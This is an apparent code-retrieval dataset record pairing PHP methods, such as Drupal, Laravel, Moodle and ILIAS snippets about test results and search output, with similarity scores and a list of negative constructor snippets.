function postProcess($results);", "private function testCollect() {\n $custom_data = array();\n\n // Collect all custom data provided by hook_insight_custom_data().\n $collections = \\Drupal::moduleHandler()->invokeAll('acquia_connector_spi_test');\n\n foreach ($collections as $test_name => $test_params) {\n $status = new TestStatusController();\n $result = $status->testValidate(array($test_name => $test_params));\n\n if ($result['result']) {\n $custom_data[$test_name] = $test_params;\n }\n }\n\n return $custom_data;\n }", "protected function wrapResults($outputs)\n {\n return new Google_Calendar_CreateEvent_Results($outputs);\n }", "public function testWithOnlyOneResult() {\n $facet = new Facet([], 'facets_facet');\n $facet->setFieldIdentifier('test');\n $facet->setUrlAlias('test');\n $facet->setFacetSourceId('facet_source__dummy');\n $facet->setShowOnlyOneResult(TRUE);\n\n $this->originalResults[1]->setActiveState(TRUE);\n $this->originalResults[2]->setActiveState(TRUE);\n\n $this->processor = new QueryString(['facet' => $facet], 'query_string', [], new Request(), $this->entityManager, $this->eventDispatcher, $this->urlGenerator);\n $results = $this->processor->buildUrls($facet, $this->originalResults);\n\n $this->assertEquals('route:test?f%5B0%5D=test%3A' . $results[0]->getRawValue(), $results[0]->getUrl()->toUriString());\n $this->assertEquals('route:test?f%5B0%5D=test%3A' . $results[3]->getRawValue(), $results[3]->getUrl()->toUriString());\n $this->assertEquals('route:test?f%5B0%5D=test%3A' . $results[4]->getRawValue(), $results[4]->getUrl()->toUriString());\n $this->assertEquals('route:test', $results[1]->getUrl()->toUriString());\n $this->assertEquals('route:test', $results[2]->getUrl()->toUriString());\n }", "public function testCreateTestCaseWithDetails()\n {\n $user = factory(App\\User::class)->create();\n\n $this->actingAs($user)\n ->visit('/library')\n ->click('#newCase')\n ->seePageIs('/library/testcase/create')\n ->type('TestCase2', 'name1')\n ->select('1', 'testSuite1')\n ->type('someDecription','description1')\n ->type('somePrefixes','prefixes1')\n ->type('someSteps','steps1')\n ->type('someResult','expectedResult1')\n ->type('someSuffixes','suffixes1')\n ->press('submit');\n\n $this->seeInDatabase('TestCaseHistory', [\n 'TestCaseDescription' => 'someDecription',\n 'TestCasePrefixes' => 'somePrefixes',\n 'TestSteps' => 'someSteps',\n 'ExpectedResult' => 'someResult',\n 'TestCaseSuffixes' => 'someSuffixes'\n ]);\n }", "protected function prepareResults(array $items) {\n $results = [];\n foreach ($items as $item) {\n $results[] = [\n 'link' => $item->link,\n 'type' => NULL,\n 'title' => $item->title,\n 'node' => NULL,\n 'extra' => NULL,\n 'score' => NULL,\n 'snippet' => [\n '#markup' => $item->htmlSnippet,\n ],\n 'langcode' => $this->languageManager->getCurrentLanguage()->getId(),\n ];\n }\n return $results;\n }", "protected function wrapResults($outputs)\n {\n return new Google_Picasa_CreateAlbum_Results($outputs);\n }", "function resultsToTable($results) {\n\t$html = \"<table border='1' cellspacing='0' cellpadding='2'>\\n\";\n\t$html .= \"<tr>\\n<th>ID</th>\\n<th>Name</th>\\n<th>Address</th>\\n<th></th>\\n\";\n\t$html .= \"<th>Region</th>\\n<th>State</th>\\n<th>Status</th>\\n\";\n\t$html .= \"<th>Deactivation Date</th>\\n<th>PWS Type</th>\\n</tr>\";\n\tforeach($results as $object) {\n\t\t$html .= \"\\n<tr>\\n<td>{$object->PWSID}</td>\\n<td>{$object->PWS_NAME}</td>\\n\";\n\t\t$html .= \"<td>{$object->ADDRESS_LINE1}</td>\\n<td>{$object->ADDRESS_LINE2}</td>\\n\";\n\t\t$html .= \"<td>{$object->EPA_REGION}</td>\\n\";\n\t\t$html .= \"<td>{$object->STATE_CODE}</th>\\n<td>{$object->SUBMISSION_STATUS_CODE}</td>\\n\";\n\t\t$html .= \"<td>{$object->PWS_DEACTIVATION_DATE}</td>\\n<td>{$object->PWS_TYPE_CODE}</td>\\n\";\n\t\t$html .= \"</tr>\\n\";\n\t}\n\treturn $html . \"</table>\\n\";\n}", "function results_launcher($title,$page,$category_id,$max,$max_rows,$type,$max_page_links=5)\n{\n\tif ($max<1) $max=1;\n\n\trequire_javascript('javascript_results_browser');\n\n\t$out=new ocp_tempcode();\n\n\tif ($max<$max_rows) // If they don't all fit on one page\n\t{\n\t\t$part=new ocp_tempcode();\n\t\t$num_pages=($max==0)?0:min(intval(ceil($max_rows/$max)),$max_page_links);\n\t\tfor ($x=0;$x<$num_pages;$x++)\n\t\t{\n\t\t\t$cat_url=build_url(array('page'=>$page,'type'=>$type,'start'=>($x==0)?NULL:($x*$max),'id'=>$category_id),get_module_zone($page));\n\t\t\t$part->attach(do_template('RESULTS_LAUNCHER_PAGE_NUMBER_LINK',array('_GUID'=>'d19c001f3ecff62105f803d541f7d945','TITLE'=>$title,'URL'=>$cat_url,'P'=>strval($x+1))));\n\t\t}\n\n\t\t$num_pages=intval(ceil($max_rows/$max));\n\t\tif ($num_pages>$max_page_links)\n\t\t{\n\t\t\t$url_stub=build_url(array('page'=>$page,'type'=>$type,'id'=>$category_id),'_SELF');\n\t\t\t$part->attach(do_template('RESULTS_LAUNCHER_CONTINUE',array('_GUID'=>'0a55d3c1274618c16bd6d8d2cf36676c','TITLE'=>$title,'MAX'=>strval($max),'NUM_PAGES'=>integer_format($num_pages),'URL_STUB'=>$url_stub)));\n\t\t}\n\n\t\t$out->attach(do_template('RESULTS_LAUNCHER_WRAP',array('_GUID'=>'c1c01ee07c456832e7e66a03f26c2288','PART'=>$part)));\n\t}\n\n\treturn $out;\n}", "public static function fromFiles($testInfo, $fileHandler = null, $options = null) {\n $runResults = array();\n $numRuns = $testInfo->getRuns();\n $firstViewOnly = $testInfo->isFirstViewOnly();\n $testComplete = $testInfo->isComplete();\n for ($runNumber = 1; $runNumber <= $numRuns; $runNumber++) {\n if (!$testComplete && !$testInfo->isRunComplete($runNumber)) {\n continue;\n }\n $firstView = TestRunResults::fromFiles($testInfo, $runNumber, false, $fileHandler, $options);\n $repeatView = $firstViewOnly ? null : TestRunResults::fromFiles($testInfo, $runNumber, true, $fileHandler, $options);\n $runResults[] = array($firstView, $repeatView);\n }\n\n return new self($testInfo, $runResults, $fileHandler);\n }", "public function getResults($studId, $overviewId) {\n global $ilDB, $lng;\n $average;\n $maxPoints;\n\n $data = array();\n \n $query = \"SELECT ref_id_test FROM rep_robj_xtov_t2o WHERE obj_id_overview = %s\";\n $result = $ilDB->queryF($query, array('integer'), array($overviewId));\n $tpl = new ilTemplate(\"tpl.stud_view.html\", true, true, \"Customizing/global/plugins/Services/Repository/RepositoryObject/TestOverview\");\n //Internationalization\n $lng->loadLanguageModule(\"assessment\");\n $lng->loadLanguageModule(\"certificate\");\n $lng->loadLanguageModule(\"rating\");\n $lng->loadLanguageModule(\"common\");\n $lng->loadLanguageModule(\"trac\");\n $tpl->setCurrentBlock(\"head_row\");\n $tpl->setVariable(\"test\", $lng->txt(\"rep_robj_xtov_testOverview\"));\n $tpl->setVariable(\"exercise\", $lng->txt(\"rep_robj_xtov_ex_overview\"));\n $tpl->setVariable(\"testTitle\", $lng->txt(\"certificate_ph_testtitle\"));\n $tpl->setVariable(\"score\", $lng->txt(\"toplist_col_score\"));\n $tpl->parseCurrentBlock();\n $tpl->setVariable(\"average\", $lng->txt('rep_robj_xtov_avg_points'));\n $tpl->setVariable(\"averagePercent\", $lng->txt(\"trac_average\"));\n $tpl->setVariable(\"exerciseTitle\", $lng->txt(\"certificate_ph_exercisetitle\"));\n $tpl->setVariable(\"mark\", $lng->txt(\"tst_mark\"));\n $tpl->setVariable(\"studentRanking\", $lng->txt(\"toplist_your_result\"));\n //Baut aus den Einzelnen Zeilen Objekte\n while ($testObj = $ilDB->fetchObject($result)) {\n array_push($data, $testObj);\n }\n\n\n foreach ($data as $set) {\n $result = $this-> getTestData($studId,$set->ref_id_test);\n $timestamp = time();\n //$datum = (float) date(\"YmdHis\", $timestamp);\n\n $testTime = (float) $result->ending_time;\n \n \n\n /* Checks if the test has been finished or if no end time is given */\n if ((($testTime - $timestamp) < 0 || $result->timeded == 0) && $this->isTestDeleted($set->ref_id_test) == null && $result != null ) {\n $tpl->setCurrentBlock(\"test_results\");\n $tpl->setVariable(\"Name\", $result->title);\n $average += $result->points;\n $maxPoints += $result->maxpoints;\n if ($result->points > ($result->maxpoints / 2)) {\n $pointsHtml = \"<td class='green-result'>\" . $result->points . \"</td>\";\n } else {\n $pointsHtml = \"<td class='red-result'>\" . $result->points . \"</td>\";\n }\n $tpl->setVariable(\"Point\", $pointsHtml);\n\n $tpl->parseCurrentBlock();\n }\n }\n ////Exercise Part ////\n require_once ilPlugin::getPluginObject(IL_COMP_SERVICE, 'Repository', 'robj', 'TestOverview')\n ->getDirectory() . '/classes/mapper/class.ilExerciseMapper.php';\n $excMapper = new ilExerciseMapper();\n $grades = $this->getExerciseMarks($studId, $overviewId);\n $totalGrade = 0;\n\n foreach ($grades as $grade) {\n if ($this->isExerciseDeleted($grade->obj_id) == null) {\n $gradeName = $excMapper->getExerciseName($grade->obj_id);\n $totalGrade += $grade->mark;\n $tpl->setCurrentBlock(\"exercise_results\");\n $tpl->setVariable(\"Exercise\", $gradeName);\n $tpl->setVariable(\"Mark\", $grade->mark);\n $tpl->parseCurrentBlock();\n }\n }\n\n //// general Part /////\n if ($this->getNumTests($overviewId) == 0) {\n $averageNum = 0;\n } else {\n $averageNum = round($average / $this->getNumTests($overviewId), 2);\n }\n $tpl->setVariable(\"AveragePoints\", $averageNum);\n if ($maxPoints == 0) {\n $Prozentnum = 0;\n } else {\n $Prozentnum = (float) ($average / $maxPoints) * 100;\n }\n $lng->loadLanguageModule(\"crs\");\n $tpl->setVariable(\"averageMark\", $lng->txt('rep_robj_xtov_average_mark'));\n\n if (count($grades) > 0) {\n\n $tpl->setVariable(\"AverageMark\", $totalGrade / count($grades));\n }\n $tpl->setVariable(\"totalMark\", $lng->txt('rep_robj_xtov_total_mark'));\n $tpl->setVariable(\"TotalMark\", $totalGrade);\n\n $tpl->setVariable(\"Average\", round($Prozentnum, 2));\n /// ranking part /////\n $ilOverviewMapper = new ilOverviewMapper();\n $rank = $ilOverviewMapper->getRankedStudent($overviewId, $studId);\n $count = $ilOverviewMapper->getCount($overviewId);\n $date = $ilOverviewMapper->getDate($overviewId);\n if (!$rank == '0') {\n $tpl->setVariable(\"toRanking\", $rank . \" \" . $lng->txt('rep_robj_xtov_out_of') . \" \" . $count . \"<br> \".$lng->txt('rep_robj_xtov_lastupdate').\": \" . $date);\n } else {\n $tpl->setVariable(\"toRanking\", $lng->txt('links_not_available'));\n }\n $ilExerciseMapper = new ilExerciseMapper();\n $rank = $ilExerciseMapper->getRankedStudent($overviewId, $studId);\n $count = $ilExerciseMapper->getCount($overviewId);\n $date = $ilExerciseMapper->getDate($overviewId);\n if (!$rank == '0') {\n $tpl->setVariable(\"eoRanking\", $rank . \" \" . $lng->txt('rep_robj_xtov_out_of') . \" \" . $count . \"<br> \".$lng->txt('rep_robj_xtov_lastupdate').\": \" . $date);\n } else {\n $tpl->setVariable(\"eoRanking\", $lng->txt('links_not_available'));\n }\n\n return $tpl->get();\n }", "public function exportResultData() {\n \n // get rounds\n $rounds = $this->object->getRounds();\n \n // Check if rounds exist, write a message if not\n if (count($rounds) > 0) { \n $this->exportResults();\n } else {\n ilUtil::sendFailure($this->txt(\"results_export_failure\"), true);\n }\n \n $this->ctrl->redirect($this, 'showResults');\n }", "public function __construct(SubmissionTSE $submission, $AnalyzingResults = null) {\n $this->Submission = $submission->ExportItem();\n if (!is_null($AnalyzingResults)) {\n $this->AnalyzingResults = $AnalyzingResults;\n } else {\n $this->AnalyzingResults = new stdClass();\n $this->AnalyzingResults->Good = 0;\n $this->AnalyzingResults->Bad = 0;\n $this->AnalyzingResults->Strange = 0;\n }\n }", "public function run()\n {\n $results = [\n [1, 0, 'soso...'],\n [1, 2, 'good!'],\n [1, 3, 'perfect!!!']\n ];\n foreach ($results as $result) {\n DB::table('results')->insert([\n 'quiz_id' => $result[0],\n 'correct_number' => $result[1],\n 'comment' => $result[2]\n ]);\n }\n }", "protected function parseResults(array $results): array\n {\n $data = collect($results)\n ->reduce(function ($prev, $current) {\n $result = $this->parseResult($current);\n\n return [$result, ...$prev];\n }, []);\n\n return (array) $data;\n }", "public function run()\n {\n //\n $contests = [\n // ['production_no' => 71,\t'title' => '달콤한 연애 드라마',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20171230,\n // 'content' => '수상작 발표 2018년 1월 예정\n // 형식 및 분량\n // 1.docx파일\n // 2.페이지 5장\n // 3.파일이름 : 제목_이름\n // 4.캐릭터 설명 1장 포함',\n // 'view' => 98],\n ['production_no' => 71,\t'title' => '甘い恋愛ドラマ',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20171230,\t'content' => '受賞作発表2018年1月予定',\t'view' => 98],\n ['production_no' => 75,\t'title' => '医学ドラマ',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20180530,\t'content' => '受賞作発表2018年6月予定',\t'view' => 48],\n ['production_no' => 71,\t'title' => 'ファンタジー史劇',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20180120,\t'content' => '受賞作発表2018年2月予定',\t'view' => 45],\n ['production_no' => 72,\t'title' => '伝統史劇',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20180303,\t'content' => '受賞作発表2018年1月予定',\t'view' => 46],\n ['production_no' => 73,\t'title' => 'シットコム第2のノンストップ',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20171130,\t'content' => '受賞作発表2018年1月予定',\t'view' => 28],\n ['production_no' => 75,\t'title' => '自由ドラマ',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20171220,\t'content' => '受賞作発表2018年1月予定',\t'view' => 49],\n ['production_no' => 74,\t'title' => '捜査ドラマ',\t'created_at' => date(\"Y-m-d H:i:s\"),\t'dead_date' => 20181225,\t'content' => '受賞作発表2019年1月予定',\t'view' => 50],\n\n ];\n\n DB::table('contests')->insert($contests);\n\n }", "public function __construct(Blerby_TestRunner_Config $config)\r\n\t{\r\n $this->config = $config;\r\n $this->aResults = array();\r\n\t}", "public function __construct (array $data)\n {\n $this->result = $data;\n }", "protected function createRenderArray(array $result) {\n $items = [];\n foreach ($result as $id => $row) {\n\n $items[$id] = [\n 'vsite_name' => [\n '#type' => 'link',\n '#url' => Url::fromUri($row['vsite_url'], ['absolute' => TRUE]),\n '#title' => $row['vsite_name'],\n '#attributes' => [\n 'class' => 'lynx-title',\n ],\n ],\n 'vsite_description' => [\n '#markup' => '<div class=\"meta-description\">' . $row['vsite_description'] . '</div>',\n ],\n 'content_type' => [\n '#markup' => '<div class=\"content-type\">' . $row['content_type'] . '</div>',\n ],\n 'title' => [\n '#prefix' => '<h2 class=\"node--title\">',\n '#type' => 'link',\n '#url' => Url::fromUri($row['url'], ['absolute' => TRUE]),\n '#title' => $row['title'],\n '#suffix' => '</h2>',\n ],\n 'body' => [\n '#markup' => '<div class=\"body\">' . Unicode::truncate($row['body'], 128, TRUE, TRUE) . '</div>',\n ],\n 'see_more' => [\n '#type' => 'link',\n '#url' => Url::fromUri($row['url'], ['absolute' => TRUE]),\n '#title' => $this->t('Read more'),\n ],\n ];\n if ($row['vsite_logo']) {\n $image = [\n '#theme' => 'image',\n '#uri' => $row['vsite_logo'],\n '#alt' => $row['vsite_name'],\n '#weight' => -1,\n ];\n $items[$id]['vsite_logo'] = [\n '#type' => 'link',\n '#url' => Url::fromUri($row['vsite_url'], ['absolute' => TRUE]),\n '#title' => $image,\n '#weight' => -2,\n ];\n }\n }\n\n $build['search_results'] = [\n '#title' => $this->t('Search'),\n 'content' => [\n '#theme' => 'item_list__search_results',\n '#items' => $items,\n '#empty' => [\n '#markup' => '<h3>' . $this->t('Your search yielded no results.') . '</h3>',\n ],\n '#type' => 'remote',\n '#attributes' => [\n 'class' => ['lynx-search-listing'],\n ],\n ],\n ];\n return $build;\n }", "public function addResult($file, Blerby_TestRunner_Result $result)\r\n {\r\n $this->aResults[$file][] = $result;\r\n }", "function TestRun_get_test_cases($run_id) {\n\t// Create call\n\t// FIXME: not working\n\t$call = new xmlrpcmsg('TestRun.get_test_cases', array(new xmlrpcval($run_id, \"int\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "protected function wrapResults($outputs)\n {\n return new Google_Calendar_GetNextEvent_Results($outputs);\n }", "public static function output_remote_results($results, $first, $perpage) {\n global $CFG;\n header('Content-Type: text/xml; encoding=UTF-8');\n if (!$results->success || count($results->results) == 0) {\n print '<results total=\"0\"></results>';\n } else {\n $total = count($results->results);\n $count = $total - $first + 1;\n if ($count > $perpage) {\n $count = $perpage;\n }\n print '<results first=\"' . $first . '\" last=\"' . ($first + $count - 1) .\n '\" total=\"' . $total . '\">';\n\n foreach ($results->results as $result) {\n // Skip first results.\n if ($first > 1) {\n $first--;\n continue;\n }\n print '<result href=\"' . htmlspecialchars($result->url) . '\">';\n if (!empty($result->courseid)) {\n print '<course href=\"' . $CFG->wwwroot .\n '/course/view.php?id=' . $result->courseid .\n '\"><shortname>' . s($result->courseshortname) .\n '</shortname><fullname>' .\n s($result->coursefullname) . '</fullname></course>';\n }\n if (!empty($result->activityurl)) {\n print '<activity href=\"' . s($result->activityurl) . '\">' .\n s($result->activityname) . '</activity>';\n }\n print '<title>' . $result->title . '</title>';\n // Convert score into a sketchy percentage with 32 being 100%.\n print '<score>' .\n round(100 * min($result->totalscore, 32) / 32.0) .\n '%</score>';\n print '<summary>' . $result->summary . '</summary>';\n print '</result>';\n // Only display $perpage results.\n $perpage--;\n if ($perpage == 0) {\n break;\n }\n }\n print '</results>';\n }\n }", "public static function getNewResultsPage(int $page, int $resultsPerPage) {\n $resultsPage = new ResultsPage();\n $resultsPage->setPage(intval($page));\n $resultsPage->setResultsPerPage($resultsPerPage);\n return $resultsPage;\n }", "public function getResults() {\n\t\t$this->$results_ = $this->resultSource_->getResults();\n\t\treturn $this->$results_;\n }", "protected function processOutput($results)\n {\n return $results;\n }", "public function testNineResults()\n {\n $response = $this->json('get', '/example', ['count' => 9]);\n $json = $response->json();\n $this->assertCount(9, $json['data']);\n $response->assertStatus(200);\n }" ]
[ "0.6327416", "0.61759984", "0.5825629", "0.5790857", "0.5728053", "0.5587384", "0.5505301", "0.5503491", "0.5499321", "0.54755384", "0.54367226", "0.5362593", "0.5329621", "0.5275675", "0.5274842", "0.52707654", "0.5251376", "0.517306", "0.5161618", "0.5160865", "0.51490915", "0.51413256", "0.51413035", "0.51350003", "0.51136506", "0.51095897", "0.5108478", "0.50993454", "0.50969064", "0.5091572", "0.50835365", "0.50641245", "0.5032096", "0.50127596", "0.50061876", "0.5006135", "0.49936885", "0.49936885", "0.49648747", "0.4949534", "0.4942811", "0.4934735", "0.4920464", "0.49092308", "0.49010792", "0.49007696", "0.48981676", "0.48777044", "0.48749766", "0.48702857", "0.48651025", "0.48591688", "0.48580366", "0.4855457", "0.48499274", "0.48400116", "0.4834822", "0.4812387", "0.48090592", "0.47741696", "0.47658962", "0.47616497", "0.4759531", "0.47560725", "0.47540006", "0.47540006", "0.4752047", "0.47519922", "0.47478333", "0.47389996", "0.4738986", "0.4733317", "0.47259733", "0.47239348", "0.47219265", "0.47204104", "0.47201213", "0.47165957", "0.47155854", "0.47110415", "0.47090605", "0.4704408", "0.46986368", "0.46957287", "0.46895558", "0.4683349", "0.4682563", "0.46769345", "0.46750546", "0.46749073", "0.4670715", "0.4670617", "0.4669912", "0.4667271", "0.4667264", "0.466508", "0.4663639", "0.46589467", "0.4657734", "0.46552393" ]
0.504008
32
TODO: move implementation to this method
public function getVisualProgress() { return GetVisualProgress($this->testInfo->getRootDirectory(), $this->run, $this->cached ? 1 : 0, null, null, $this->getStartOffset()); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "final private function __construct() {}", "final private function __construct() {}", "protected final function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "protected function fixSelf() {}", "protected function fixSelf() {}", "final private function __construct(){\r\r\n\t}", "private function __() {\n }", "final private function __construct() {\n\t\t\t}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "private function __construct()\t{}", "public function helper()\n\t{\n\t\n\t}", "protected function __construct () {}", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct () {}", "private function __construct() {\r\n\t\r\n\t}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "final private function __construct()\n {\n }", "private function __construct() {\r\n\t\t\r\n\t}", "private final function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.5734393", "0.55682063", "0.55682063", "0.5503339", "0.5485193", "0.5485193", "0.5485193", "0.5449028", "0.5449028", "0.54487437", "0.54264367", "0.540743", "0.5393745", "0.5393745", "0.5393745", "0.5393745", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.53586775", "0.53358805", "0.5332892", "0.5332498", "0.5332498", "0.5332498", "0.5304685", "0.5296901", "0.5291923", "0.5291923", "0.5291923", "0.5291923", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5290754", "0.5290754", "0.52899677", "0.5283692", "0.5282918", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162" ]
0.0
-1
TODO: move implementation to this method
public function getRequests() { $secure = false; $haveLocations = false; return getRequests($this->testInfo->getId(), $this->testInfo->getRootDirectory(), $this->run, $this->cached ? 1 : 0, $secure, $haveLocations, false, true); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "final private function __construct() {}", "final private function __construct() {}", "protected final function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "protected function fixSelf() {}", "protected function fixSelf() {}", "final private function __construct(){\r\r\n\t}", "private function __() {\n }", "final private function __construct() {\n\t\t\t}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "private function __construct()\t{}", "public function helper()\n\t{\n\t\n\t}", "protected function __construct () {}", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct () {}", "private function __construct() {\r\n\t\r\n\t}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "final private function __construct()\n {\n }", "private function __construct() {\r\n\t\t\r\n\t}", "private final function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.5734393", "0.55682063", "0.55682063", "0.5503339", "0.5485193", "0.5485193", "0.5485193", "0.5449028", "0.5449028", "0.54487437", "0.54264367", "0.540743", "0.5393745", "0.5393745", "0.5393745", "0.5393745", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.53586775", "0.53358805", "0.5332892", "0.5332498", "0.5332498", "0.5332498", "0.5304685", "0.5296901", "0.5291923", "0.5291923", "0.5291923", "0.5291923", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5290754", "0.5290754", "0.52899677", "0.5283692", "0.5282918", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162" ]
0.0
-1
TODO: move implementation to this method
public function getDomainBreakdown() { $requests = null; return getDomainBreakdown($this->testInfo->getId(), $this->testInfo->getRootDirectory(), $this->run, $this->cached ? 1 : 0, $requests); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "final private function __construct() {}", "final private function __construct() {}", "protected final function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "protected function fixSelf() {}", "protected function fixSelf() {}", "final private function __construct(){\r\r\n\t}", "private function __() {\n }", "final private function __construct() {\n\t\t\t}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "private function __construct()\t{}", "public function helper()\n\t{\n\t\n\t}", "protected function __construct () {}", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct () {}", "private function __construct() {\r\n\t\r\n\t}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "final private function __construct()\n {\n }", "private function __construct() {\r\n\t\t\r\n\t}", "private final function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() 